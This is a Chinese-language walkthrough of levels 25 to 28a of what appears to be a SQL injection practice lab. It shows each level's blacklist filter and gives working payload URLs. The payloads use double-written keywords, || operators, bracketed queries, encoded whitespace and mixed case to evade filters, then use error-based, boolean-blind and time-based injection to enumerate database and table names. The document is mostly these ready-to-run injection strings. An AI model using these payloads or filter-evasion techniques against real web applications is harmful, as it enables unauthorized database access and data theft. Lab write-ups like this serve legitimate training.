第二十五关
过滤and
和or
关键字
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
因为代码里检测到关键字会把关键字置空,所以可以双写绕过:
or:oorr
and:aandnd
双写绕过的前提是过滤关键字后置空,如果把and过滤成空格就不能双写绕过了。可以使用||、&&符号绕过,不过使用&要将符号进行url编码为%26,因为&在url中往往后面接参数,web服务器会将&后面的当成另一个参数。
上面是绕过的一些方法,不过and、or只在检测注入点时用到或者使用extractvalue、updatexml等函数进行报错注入的时候用到,这关可以联合注入,不需要用到过滤的关键字。我错了,information中的or也会被过滤,所以还是要双写绕过的。
数据库名:
?id=1.1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+
数据表名:
?id=1.1' aandnd extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e)) --+
第二十五a关
盲注
和25关一样过滤and、or,但是不用闭合了,这关是整数型了。
数据库长度:?id=1 aandnd length((select database()))=8--+
猜数据库名:?id=1 aandnd ascii(substr((select database()),1,1))=115--+
第二十六关
显错注入,过滤空格和注释,过滤and
和or
,单引号闭合。
在一般情况下,过滤空格有几种解决方法:①使用“+”代替空格。②使用/**/代替空格。③双写空格或者制表符代替。④括号包起来。⑤回车代替空格,%0a。⑥反引号`的使用。
尝试了几种方法,发现括号可以,回车和反引号不行。
数据库:
?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(schema_name))from(infoorrmation_schema.schemata)),0x7e))||1='1
数据表:
?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e))||1='1
第二十六a关
盲注,过滤规则和26关一样,单引号括号闭合。
猜数据库名:?id=?id=1.1')||ascii(substr(((select(database()))),1,1))=115||2=('1
因为有||而且是盲注,所以要让查询语句前后都为false,才能判断查询语句是否为真。由于没有办法使用limit,所以不能猜数据表长度(也可能我没找到方法,如果有大佬看到这里并且知道方法麻烦告诉我一下),直接猜数据表名,以逗号为分割符。
猜数据表名:
?id=1.1')||ascii(substr(((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()) )),1,1))=101||2=('1
第二十七关:
显错注入,过滤关键字,单引号闭合。
数据库名:
?id=1'||extractvalue(1,concat(0x7e,mid((sEleCt(group_concat(schema_name))from(information_schema.schemata)),1),0x7e))||1='1
由于显示长度有限,要想查询出所有库名要用mid或者substr函数遍历。
数据表名:
?id=1'||extractvalue(1,concat(0x7e,substr((sEleCt(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1),0x7e))||1='1
第二十七a关
过滤关键字和27关一样,盲注,双引号闭合。
数据库长度:?id=1.1"||length((database()))="8
猜数据库名:?id=1.1"||substr( (database()),1,1 )="s
猜数据表:时间盲注,用sleep函数会不停转下去
?id=1.1"||if((substr((seLEct(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1)="e"),1,sleep(5) )||2="1
第二十八关
过滤关键字,单引号括号闭合。
\s
表示空白字符空格、制表符、换页符等,/i
表示忽略大小写。
绕过方式:?id=1.1')union(select%0d1,2,'3
数据库名:
?id=1.1')union(select%0d1,(select(group_concat(schema_name))from(information_schema.schemata) ),'3
数据表名:
?id=1.1')union(select%0d1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()) ),'3
第二十八a关
盲注,只过滤了union+select,单引号括号闭合。能使用空格注释的感觉真好。
数据库长度:?id=1') and length((database()))=8 --+
猜数据库名:?id=1') and substr((select database()),1,1)="s" --+
猜表长度:
?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1) )=6 --+
猜表名:
?id=1') and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)="e" --+